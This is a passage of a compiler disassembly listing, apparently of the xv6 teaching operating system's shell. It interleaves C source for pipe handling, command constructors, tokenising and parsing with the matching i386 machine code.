31c: 83 ec 0c sub $0xc,%esp
31f: 68 6a 14 00 00 push $0x146a
324: e8 b7 fe ff ff call 1e0 <panic>
case REDIR:
rcmd = (struct redircmd*)cmd;
close(rcmd->fd);
if(open(rcmd->file, rcmd->mode) < 0){
printf(2, "open %s failed\n", rcmd->file);
329: 52 push %edx
32a: ff 73 08 pushl 0x8(%ebx)
32d: 68 5a 14 00 00 push $0x145a
332: 6a 02 push $0x2
334: e8 e7 0d 00 00 call 1120 <printf>
exit();
339: e8 74 0c 00 00 call fb2 <exit>
break;
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
panic("pipe");
33e: 83 ec 0c sub $0xc,%esp
341: 68 6f 14 00 00 push $0x146f
346: e8 95 fe ff ff call 1e0 <panic>
if(fork1() == 0){
close(1);
34b: 83 ec 0c sub $0xc,%esp
34e: 6a 01 push $0x1
350: e8 85 0c 00 00 call fda <close>
dup(p[1]);
355: 58 pop %eax
356: ff 75 f4 pushl -0xc(%ebp)
359: e8 cc 0c 00 00 call 102a <dup>
close(p[0]);
35e: 58 pop %eax
35f: ff 75 f0 pushl -0x10(%ebp)
362: e8 73 0c 00 00 call fda <close>
close(p[1]);
367: 58 pop %eax
368: ff 75 f4 pushl -0xc(%ebp)
36b: e8 6a 0c 00 00 call fda <close>
runcmd(pcmd->left);
370: 58 pop %eax
371: ff 73 04 pushl 0x4(%ebx)
374: e8 87 fe ff ff call 200 <runcmd>
}
if(fork1() == 0){
close(0);
379: 83 ec 0c sub $0xc,%esp
37c: 6a 00 push $0x0
37e: e8 57 0c 00 00 call fda <close>
dup(p[0]);
383: 5a pop %edx
384: ff 75 f0 pushl -0x10(%ebp)
387: e8 9e 0c 00 00 call 102a <dup>
close(p[0]);
38c: 59 pop %ecx
38d: ff 75 f0 pushl -0x10(%ebp)
390: e8 45 0c 00 00 call fda <close>
close(p[1]);
395: 58 pop %eax
396: ff 75 f4 pushl -0xc(%ebp)
399: e8 3c 0c 00 00 call fda <close>
runcmd(pcmd->right);
39e: 58 pop %eax
39f: ff 73 08 pushl 0x8(%ebx)
3a2: e8 59 fe ff ff call 200 <runcmd>
3a7: 89 f6 mov %esi,%esi
3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003b0 <fork1>:
exit();
}
int
fork1(void)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 83 ec 08 sub $0x8,%esp
int pid;
pid = fork();
3b6: e8 ef 0b 00 00 call faa <fork>
if(pid == -1)
3bb: 83 f8 ff cmp $0xffffffff,%eax
3be: 74 02 je 3c2 <fork1+0x12>
panic("fork");
return pid;
}
3c0: c9 leave
3c1: c3 ret
{
int pid;
pid = fork();
if(pid == -1)
panic("fork");
3c2: 83 ec 0c sub $0xc,%esp
3c5: 68 6a 14 00 00 push $0x146a
3ca: e8 11 fe ff ff call 1e0 <panic>
3cf: 90 nop
000003d0 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
3d0: 55 push %ebp
3d1: 89 e5 mov %esp,%ebp
3d3: 53 push %ebx
3d4: 83 ec 10 sub $0x10,%esp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
3d7: 6a 54 push $0x54
3d9: e8 72 0f 00 00 call 1350 <malloc>
memset(cmd, 0, sizeof(*cmd));
3de: 83 c4 0c add $0xc,%esp
struct cmd*
execcmd(void)
{
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
3e1: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
3e3: 6a 54 push $0x54
3e5: 6a 00 push $0x0
3e7: 50 push %eax
3e8: e8 33 0a 00 00 call e20 <memset>
cmd->type = EXEC;
3ed: c7 03 01 00 00 00 movl $0x1,(%ebx)
return (struct cmd*)cmd;
}
3f3: 89 d8 mov %ebx,%eax
3f5: 8b 5d fc mov -0x4(%ebp),%ebx
3f8: c9 leave
3f9: c3 ret
3fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000400 <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 53 push %ebx
404: 83 ec 10 sub $0x10,%esp
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
407: 6a 18 push $0x18
409: e8 42 0f 00 00 call 1350 <malloc>
memset(cmd, 0, sizeof(*cmd));
40e: 83 c4 0c add $0xc,%esp
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
411: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
413: 6a 18 push $0x18
415: 6a 00 push $0x0
417: 50 push %eax
418: e8 03 0a 00 00 call e20 <memset>
cmd->type = REDIR;
cmd->cmd = subcmd;
41d: 8b 45 08 mov 0x8(%ebp),%eax
{
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = REDIR;
420: c7 03 02 00 00 00 movl $0x2,(%ebx)
cmd->cmd = subcmd;
426: 89 43 04 mov %eax,0x4(%ebx)
cmd->file = file;
429: 8b 45 0c mov 0xc(%ebp),%eax
42c: 89 43 08 mov %eax,0x8(%ebx)
cmd->efile = efile;
42f: 8b 45 10 mov 0x10(%ebp),%eax
432: 89 43 0c mov %eax,0xc(%ebx)
cmd->mode = mode;
435: 8b 45 14 mov 0x14(%ebp),%eax
438: 89 43 10 mov %eax,0x10(%ebx)
cmd->fd = fd;
43b: 8b 45 18 mov 0x18(%ebp),%eax
43e: 89 43 14 mov %eax,0x14(%ebx)
return (struct cmd*)cmd;
}
441: 89 d8 mov %ebx,%eax
443: 8b 5d fc mov -0x4(%ebp),%ebx
446: c9 leave
447: c3 ret
448: 90 nop
449: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000450 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 53 push %ebx
454: 83 ec 10 sub $0x10,%esp
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
457: 6a 0c push $0xc
459: e8 f2 0e 00 00 call 1350 <malloc>
memset(cmd, 0, sizeof(*cmd));
45e: 83 c4 0c add $0xc,%esp
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
461: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
463: 6a 0c push $0xc
465: 6a 00 push $0x0
467: 50 push %eax
468: e8 b3 09 00 00 call e20 <memset>
cmd->type = PIPE;
cmd->left = left;
46d: 8b 45 08 mov 0x8(%ebp),%eax
{
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = PIPE;
470: c7 03 03 00 00 00 movl $0x3,(%ebx)
cmd->left = left;
476: 89 43 04 mov %eax,0x4(%ebx)
cmd->right = right;
479: 8b 45 0c mov 0xc(%ebp),%eax
47c: 89 43 08 mov %eax,0x8(%ebx)
return (struct cmd*)cmd;
}
47f: 89 d8 mov %ebx,%eax
481: 8b 5d fc mov -0x4(%ebp),%ebx
484: c9 leave
485: c3 ret
486: 8d 76 00 lea 0x0(%esi),%esi
489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000490 <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
490: 55 push %ebp
491: 89 e5 mov %esp,%ebp
493: 53 push %ebx
494: 83 ec 10 sub $0x10,%esp
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
497: 6a 0c push $0xc
499: e8 b2 0e 00 00 call 1350 <malloc>
memset(cmd, 0, sizeof(*cmd));
49e: 83 c4 0c add $0xc,%esp
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
4a1: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
4a3: 6a 0c push $0xc
4a5: 6a 00 push $0x0
4a7: 50 push %eax
4a8: e8 73 09 00 00 call e20 <memset>
cmd->type = LIST;
cmd->left = left;
4ad: 8b 45 08 mov 0x8(%ebp),%eax
{
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = LIST;
4b0: c7 03 04 00 00 00 movl $0x4,(%ebx)
cmd->left = left;
4b6: 89 43 04 mov %eax,0x4(%ebx)
cmd->right = right;
4b9: 8b 45 0c mov 0xc(%ebp),%eax
4bc: 89 43 08 mov %eax,0x8(%ebx)
return (struct cmd*)cmd;
}
4bf: 89 d8 mov %ebx,%eax
4c1: 8b 5d fc mov -0x4(%ebp),%ebx
4c4: c9 leave
4c5: c3 ret
4c6: 8d 76 00 lea 0x0(%esi),%esi
4c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000004d0 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
4d0: 55 push %ebp
4d1: 89 e5 mov %esp,%ebp
4d3: 53 push %ebx
4d4: 83 ec 10 sub $0x10,%esp
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
4d7: 6a 08 push $0x8
4d9: e8 72 0e 00 00 call 1350 <malloc>
memset(cmd, 0, sizeof(*cmd));
4de: 83 c4 0c add $0xc,%esp
struct cmd*
backcmd(struct cmd *subcmd)
{
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
4e1: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
4e3: 6a 08 push $0x8
4e5: 6a 00 push $0x0
4e7: 50 push %eax
4e8: e8 33 09 00 00 call e20 <memset>
cmd->type = BACK;
cmd->cmd = subcmd;
4ed: 8b 45 08 mov 0x8(%ebp),%eax
{
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = BACK;
4f0: c7 03 05 00 00 00 movl $0x5,(%ebx)
cmd->cmd = subcmd;
4f6: 89 43 04 mov %eax,0x4(%ebx)
return (struct cmd*)cmd;
}
4f9: 89 d8 mov %ebx,%eax
4fb: 8b 5d fc mov -0x4(%ebp),%ebx
4fe: c9 leave
4ff: c3 ret
00000500 <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 57 push %edi
504: 56 push %esi
505: 53 push %ebx
506: 83 ec 0c sub $0xc,%esp
char *s;
int ret;
s = *ps;
509: 8b 45 08 mov 0x8(%ebp),%eax
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
50c: 8b 5d 0c mov 0xc(%ebp),%ebx
50f: 8b 75 10 mov 0x10(%ebp),%esi
char *s;
int ret;
s = *ps;
512: 8b 38 mov (%eax),%edi
while(s < es && strchr(whitespace, *s))
514: 39 df cmp %ebx,%edi
516: 72 13 jb 52b <gettoken+0x2b>
518: eb 29 jmp 543 <gettoken+0x43>
51a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
s++;
520: 83 c7 01 add $0x1,%edi
{
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
523: 39 fb cmp %edi,%ebx
525: 0f 84 ed 00 00 00 je 618 <gettoken+0x118>
52b: 0f be 07 movsbl (%edi),%eax
52e: 83 ec 08 sub $0x8,%esp
531: 50 push %eax
532: 68 c8 1b 00 00 push $0x1bc8
537: e8 04 09 00 00 call e40 <strchr>
53c: 83 c4 10 add $0x10,%esp
53f: 85 c0 test %eax,%eax
541: 75 dd jne 520 <gettoken+0x20>
s++;
if(q)
543: 85 f6 test %esi,%esi
545: 74 02 je 549 <gettoken+0x49>
*q = s;
547: 89 3e mov %edi,(%esi)
ret = *s;
549: 0f be 37 movsbl (%edi),%esi
54c: 89 f1 mov %esi,%ecx
54e: 89 f0 mov %esi,%eax
switch(*s){
550: 80 f9 29 cmp $0x29,%cl
553: 7f 5b jg 5b0 <gettoken+0xb0>
555: 80 f9 28 cmp $0x28,%cl
558: 7d 61 jge 5bb <gettoken+0xbb>
55a: 84 c9 test %cl,%cl
55c: 0f 85 de 00 00 00 jne 640 <gettoken+0x140>
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
562: 8b 55 14 mov 0x14(%ebp),%edx
565: 85 d2 test %edx,%edx
567: 74 05 je 56e <gettoken+0x6e>
*eq = s;
569: 8b 45 14 mov 0x14(%ebp),%eax
56c: 89 38 mov %edi,(%eax)
while(s < es && strchr(whitespace, *s))
56e: 39 fb cmp %edi,%ebx
570: 77 0d ja 57f <gettoken+0x7f>
572: eb 23 jmp 597 <gettoken+0x97>
574: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s++;
578: 83 c7 01 add $0x1,%edi
break;
}
if(eq)
*eq = s;
while(s < es && strchr(whitespace, *s))
57b: 39 fb cmp %edi,%ebx
57d: 74 18 je 597 <gettoken+0x97>
57f: 0f be 07 movsbl (%edi),%eax
582: 83 ec 08 sub $0x8,%esp
585: 50 push %eax
586: 68 c8 1b 00 00 push $0x1bc8
58b: e8 b0 08 00 00 call e40 <strchr>
590: 83 c4 10 add $0x10,%esp
593: 85 c0 test %eax,%eax
595: 75 e1 jne 578 <gettoken+0x78>
s++;
*ps = s;
597: 8b 45 08 mov 0x8(%ebp),%eax
59a: 89 38 mov %edi,(%eax)
return ret;
}
59c: 8d 65 f4 lea -0xc(%ebp),%esp
59f: 89 f0 mov %esi,%eax
5a1: 5b pop %ebx
5a2: 5e pop %esi
5a3: 5f pop %edi
5a4: 5d pop %ebp
5a5: c3 ret
5a6: 8d 76 00 lea 0x0(%esi),%esi
5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
switch(*s){
5b0: 80 f9 3e cmp $0x3e,%cl
5b3: 75 0b jne 5c0 <gettoken+0xc0>
case '<':
s++;
break;
case '>':
s++;
if(*s == '>'){
5b5: 80 7f 01 3e cmpb $0x3e,0x1(%edi)
5b9: 74 75 je 630 <gettoken+0x130>
case '&':
case '<':
s++;
break;
case '>':
s++;
5bb: 83 c7 01 add $0x1,%edi
5be: eb a2 jmp 562 <gettoken+0x62>
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
switch(*s){
5c0: 7f 5e jg 620 <gettoken+0x120>
5c2: 83 e9 3b sub $0x3b,%ecx
5c5: 80 f9 01 cmp $0x1,%cl
5c8: 76 f1 jbe 5bb <gettoken+0xbb>
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
5ca: 39 fb cmp %edi,%ebx
5cc: 77 24 ja 5f2 <gettoken+0xf2>
5ce: eb 7c jmp 64c <gettoken+0x14c>
5d0: 0f be 07 movsbl (%edi),%eax
5d3: 83 ec 08 sub $0x8,%esp
5d6: 50 push %eax
5d7: 68 c0 1b 00 00 push $0x1bc0
5dc: e8 5f 08 00 00 call e40 <strchr>
5e1: 83 c4 10 add $0x10,%esp
5e4: 85 c0 test %eax,%eax
5e6: 75 1f jne 607 <gettoken+0x107>
s++;
5e8: 83 c7 01 add $0x1,%edi
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
5eb: 39 fb cmp %edi,%ebx
5ed: 74 5b je 64a <gettoken+0x14a>
5ef: 0f be 07 movsbl (%edi),%eax
5f2: 83 ec 08 sub $0x8,%esp
5f5: 50 push %eax
5f6: 68 c8 1b 00 00 push $0x1bc8
5fb: e8 40 08 00 00 call e40 <strchr>
600: 83 c4 10 add $0x10,%esp
603: 85 c0 test %eax,%eax
605: 74 c9 je 5d0 <gettoken+0xd0>
ret = '+';
s++;
}
break;
default:
ret = 'a';
607: be 61 00 00 00 mov $0x61,%esi
60c: e9 51 ff ff ff jmp 562 <gettoken+0x62>
611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
618: 89 df mov %ebx,%edi
61a: e9 24 ff ff ff jmp 543 <gettoken+0x43>
61f: 90 nop
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
switch(*s){
620: 80 f9 7c cmp $0x7c,%cl
623: 74 96 je 5bb <gettoken+0xbb>
625: eb a3 jmp 5ca <gettoken+0xca>
627: 89 f6 mov %esi,%esi
629: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
break;
case '>':
s++;
if(*s == '>'){
ret = '+';
s++;
630: 83 c7 02 add $0x2,%edi
s++;
break;
case '>':
s++;
if(*s == '>'){
ret = '+';
633: be 2b 00 00 00 mov $0x2b,%esi
638: e9 25 ff ff ff jmp 562 <gettoken+0x62>
63d: 8d 76 00 lea 0x0(%esi),%esi
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
switch(*s){
640: 80 f9 26 cmp $0x26,%cl
643: 75 85 jne 5ca <gettoken+0xca>
645: e9 71 ff ff ff jmp 5bb <gettoken+0xbb>
64a: 89 df mov %ebx,%edi
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
64c: 8b 45 14 mov 0x14(%ebp),%eax
64f: be 61 00 00 00 mov $0x61,%esi
654: 85 c0 test %eax,%eax
656: 0f 85 0d ff ff ff jne 569 <gettoken+0x69>
65c: e9 36 ff ff ff jmp 597 <gettoken+0x97>
661: eb 0d jmp 670 <peek>
663: 90 nop
664: 90 nop
665: 90 nop
666: 90 nop
667: 90 nop
668: 90 nop
669: 90 nop
66a: 90 nop
66b: 90 nop
66c: 90 nop
66d: 90 nop
66e: 90 nop
66f: 90 nop
00000670 <peek>:
return ret;
}
int
peek(char **ps, char *es, char *toks)
{
670: 55 push %ebp
671: 89 e5 mov %esp,%ebp
673: 57 push %edi
674: 56 push %esi
675: 53 push %ebx
676: 83 ec 0c sub $0xc,%esp
679: 8b 7d 08 mov 0x8(%ebp),%edi
67c: 8b 75 0c mov 0xc(%ebp),%esi
char *s;
s = *ps;
67f: 8b 1f mov (%edi),%ebx
while(s < es && strchr(whitespace, *s))
681: 39 f3 cmp %esi,%ebx
683: 72 12 jb 697 <peek+0x27>
685: eb 28 jmp 6af <peek+0x3f>
687: 89 f6 mov %esi,%esi
689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
s++;
690: 83 c3 01 add $0x1,%ebx
peek(char **ps, char *es, char *toks)
{
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
693: 39 de cmp %ebx,%esi
695: 74 18 je 6af <peek+0x3f>
697: 0f be 03 movsbl (%ebx),%eax
69a: 83 ec 08 sub $0x8,%esp
69d: 50 push %eax
69e: 68 c8 1b 00 00 push $0x1bc8
6a3: e8 98 07 00 00 call e40 <strchr>
6a8: 83 c4 10 add $0x10,%esp
6ab: 85 c0 test %eax,%eax
6ad: 75 e1 jne 690 <peek+0x20>
s++;
*ps = s;
6af: 89 1f mov %ebx,(%edi)
return *s && strchr(toks, *s);
6b1: 0f be 13 movsbl (%ebx),%edx
6b4: 31 c0 xor %eax,%eax
6b6: 84 d2 test %dl,%dl
6b8: 74 17 je 6d1 <peek+0x61>
6ba: 83 ec 08 sub $0x8,%esp
6bd: 52 push %edx
6be: ff 75 10 pushl 0x10(%ebp)
6c1: e8 7a 07 00 00 call e40 <strchr>
6c6: 83 c4 10 add $0x10,%esp
6c9: 85 c0 test %eax,%eax
6cb: 0f 95 c0 setne %al
6ce: 0f b6 c0 movzbl %al,%eax
}
6d1: 8d 65 f4 lea -0xc(%ebp),%esp
6d4: 5b pop %ebx
6d5: 5e pop %esi
6d6: 5f pop %edi
6d7: 5d pop %ebp
6d8: c3 ret
6d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000006e0 <parseredirs>:
return cmd;
}
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
6e0: 55 push %ebp
6e1: 89 e5 mov %esp,%ebp
6e3: 57 push %edi
6e4: 56 push %esi
6e5: 53 push %ebx
6e6: 83 ec 1c sub $0x1c,%esp
6e9: 8b 75 0c mov 0xc(%ebp),%esi
6ec: 8b 5d 10 mov 0x10(%ebp),%ebx
6ef: 90 nop
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
6f0: 83 ec 04 sub $0x4,%esp
6f3: 68 91 14 00 00 push $0x1491
6f8: 53 push %ebx
6f9: 56 push %esi
6fa: e8 71 ff ff ff call 670 <peek>
6ff: 83 c4 10 add $0x10,%esp
702: 85 c0 test %eax,%eax
704: 74 6a je 770 <parseredirs+0x90>
tok = gettoken(ps, es, 0, 0);
706: 6a 00 push $0x0
708: 6a 00 push $0x0
70a: 53 push %ebx
70b: 56 push %esi
70c: e8 ef fd ff ff call 500 <gettoken>
711: 89 c7 mov %eax,%edi
if(gettoken(ps, es, &q, &eq) != 'a')
713: 8d 45 e4 lea -0x1c(%ebp),%eax
716: 50 push %eax
717: 8d 45 e0 lea -0x20(%ebp),%eax
71a: 50 push %eax
71b: 53 push %ebx
71c: 56 push %esi
71d: e8 de fd ff ff call 500 <gettoken>
722: 83 c4 20 add $0x20,%esp
725: 83 f8 61 cmp $0x61,%eax
728: 75 51 jne 77b <parseredirs+0x9b>
panic("missing file for redirection");
switch(tok){
72a: 83 ff 3c cmp $0x3c,%edi
72d: 74 31 je 760 <parseredirs+0x80>
72f: 83 ff 3e cmp $0x3e,%edi
732: 74 05 je 739 <parseredirs+0x59>
734: 83 ff 2b cmp $0x2b,%edi
737: 75 b7 jne 6f0 <parseredirs+0x10>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
739: 83 ec 0c sub $0xc,%esp
73c: 6a 01 push $0x1
73e: 68 01 02 00 00 push $0x201
743: ff 75 e4 pushl -0x1c(%ebp)
746: ff 75 e0 pushl -0x20(%ebp)
749: ff 75 08 pushl 0x8(%ebp)
74c: e8 af fc ff ff call 400 <redircmd>
break;
751: 83 c4 20 add $0x20,%esp
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
754: 89 45 08 mov %eax,0x8(%ebp)
break;
757: eb 97 jmp 6f0 <parseredirs+0x10>
759: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
tok = gettoken(ps, es, 0, 0);
if(gettoken(ps, es, &q, &eq) != 'a')
panic("missing file for redirection");
switch(tok){
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
760: 83 ec 0c sub $0xc,%esp
763: 6a 00 push $0x0
765: 6a 00 push $0x0
767: eb da jmp 743 <parseredirs+0x63>
769: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
}
}
return cmd;
}
770: 8b 45 08 mov 0x8(%ebp),%eax
773: 8d 65 f4 lea -0xc(%ebp),%esp
776: 5b pop %ebx
777: 5e pop %esi
778: 5f pop %edi
779: 5d pop %ebp
77a: c3 ret
char *q, *eq;
while(peek(ps, es, "<>")){
tok = gettoken(ps, es, 0, 0);
if(gettoken(ps, es, &q, &eq) != 'a')
panic("missing file for redirection");
77b: 83 ec 0c sub $0xc,%esp
77e: 68 74 14 00 00 push $0x1474
783: e8 58 fa ff ff call 1e0 <panic>
788: 90 nop
789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000790 <parseexec>:
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
790: 55 push %ebp
791: 89 e5 mov %esp,%ebp
793: 57 push %edi
794: 56 push %esi
795: 53 push %ebx
796: 83 ec 30 sub $0x30,%esp
799: 8b 75 08 mov 0x8(%ebp),%esi
79c: 8b 7d 0c mov 0xc(%ebp),%edi
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
79f: 68 94 14 00 00 push $0x1494
7a4: 57 push %edi
7a5: 56 push %esi
7a6: e8 c5 fe ff ff call 670 <peek>
7ab: 83 c4 10 add $0x10,%esp
7ae: 85 c0 test %eax,%eax
7b0: 0f 85 9a 00 00 00 jne 850 <parseexec+0xc0>
return parseblock(ps, es);
ret = execcmd();
7b6: e8 15 fc ff ff call 3d0 <execcmd>
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
7bb: 83 ec 04 sub $0x4,%esp
struct cmd *ret;
if(peek(ps, es, "("))
return parseblock(ps, es);
ret = execcmd();
7be: 89 c3 mov %eax,%ebx
7c0: 89 45 cc mov %eax,-0x34(%ebp)
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
7c3: 57 push %edi
7c4: 56 push %esi
7c5: 8d 5b 04 lea 0x4(%ebx),%ebx
7c8: 50 push %eax
7c9: e8 12 ff ff ff call 6e0 <parseredirs>
7ce: 83 c4 10 add $0x10,%esp
7d1: 89 45 d0 mov %eax,-0x30(%ebp)
return parseblock(ps, es);
ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
7d4: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
7db: eb 16 jmp 7f3 <parseexec+0x63>
7dd: 8d 76 00 lea 0x0(%esi),%esi
cmd->argv[argc] = q;
cmd->eargv[argc] = eq;
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
7e0: 83 ec 04 sub $0x4,%esp
7e3: 57 push %edi
7e4: 56 push %esi
7e5: ff 75 d0 pushl -0x30(%ebp)
7e8: e8 f3 fe ff ff call 6e0 <parseredirs>
7ed: 83 c4 10 add $0x10,%esp
7f0: 89 45 d0 mov %eax,-0x30(%ebp)
ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
7f3: 83 ec 04 sub $0x4,%esp
7f6: 68 ab 14 00 00 push $0x14ab
7fb: 57 push %edi
7fc: 56 push %esi
7fd: e8 6e fe ff ff call 670 <peek>
802: 83 c4 10 add $0x10,%esp
805: 85 c0 test %eax,%eax
807: 75 5f jne 868 <parseexec+0xd8>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
809: 8d 45 e4 lea -0x1c(%ebp),%eax
80c: 50 push %eax
80d: 8d 45 e0 lea -0x20(%ebp),%eax
810: 50 push %eax
811: 57 push %edi
812: 56 push %esi
813: e8 e8 fc ff ff call 500 <gettoken>
818: 83 c4 10 add $0x10,%esp
81b: 85 c0 test %eax,%eax
81d: 74 49 je 868 <parseexec+0xd8>
break;
if(tok != 'a')
81f: 83 f8 61 cmp $0x61,%eax
822: 75 66 jne 88a <parseexec+0xfa>
panic("syntax");
cmd->argv[argc] = q;
824: 8b 45 e0 mov -0x20(%ebp),%eax
cmd->eargv[argc] = eq;
argc++;
827: 83 45 d4 01 addl $0x1,-0x2c(%ebp)
82b: 83 c3 04 add $0x4,%ebx
while(!peek(ps, es, "|)&;")){
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
panic("syntax");
cmd->argv[argc] = q;
82e: 89 43 fc mov %eax,-0x4(%ebx)
cmd->eargv[argc] = eq;
831: 8b 45 e4 mov -0x1c(%ebp),%eax
834: 89 43 24 mov %eax,0x24(%ebx)
argc++;
837: 8b 45 d4 mov -0x2c(%ebp),%eax
if(argc >= MAXARGS)
83a: 83 f8 0a cmp $0xa,%eax
83d: 75 a1 jne 7e0 <parseexec+0x50>
panic("too many args");
83f: 83 ec 0c sub $0xc,%esp
842: 68 9d 14 00 00 push $0x149d
847: e8 94 f9 ff ff call 1e0 <panic>
84c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
return parseblock(ps, es);
850: 83 ec 08 sub $0x8,%esp
853: 57 push %edi
854: 56 push %esi
855: e8 56 01 00 00 call 9b0 <parseblock>
85a: 83 c4 10 add $0x10,%esp
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
return ret;
}
85d: 8d 65 f4 lea -0xc(%ebp),%esp
860: 5b pop %ebx
861: 5e pop %esi
862: 5f pop %edi
863: 5d pop %ebp
864: c3 ret
865: 8d 76 00 lea 0x0(%esi),%esi
868: 8b 45 cc mov -0x34(%ebp),%eax
86b: 8b 55 d4 mov -0x2c(%ebp),%edx
86e: 8d 04 90 lea (%eax,%edx,4),%eax
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
871: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
cmd->eargv[argc] = 0;
878: c7 40 2c 00 00 00 00 movl $0x0,0x2c(%eax)
87f: 8b 45 d0 mov -0x30(%ebp),%eax
return ret;
}
882: 8d 65 f4 lea -0xc(%ebp),%esp
885: 5b pop %ebx
886: 5e pop %esi
887: 5f pop %edi
888: 5d pop %ebp
889: c3 ret
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
panic("syntax");
88a: 83 ec 0c sub $0xc,%esp
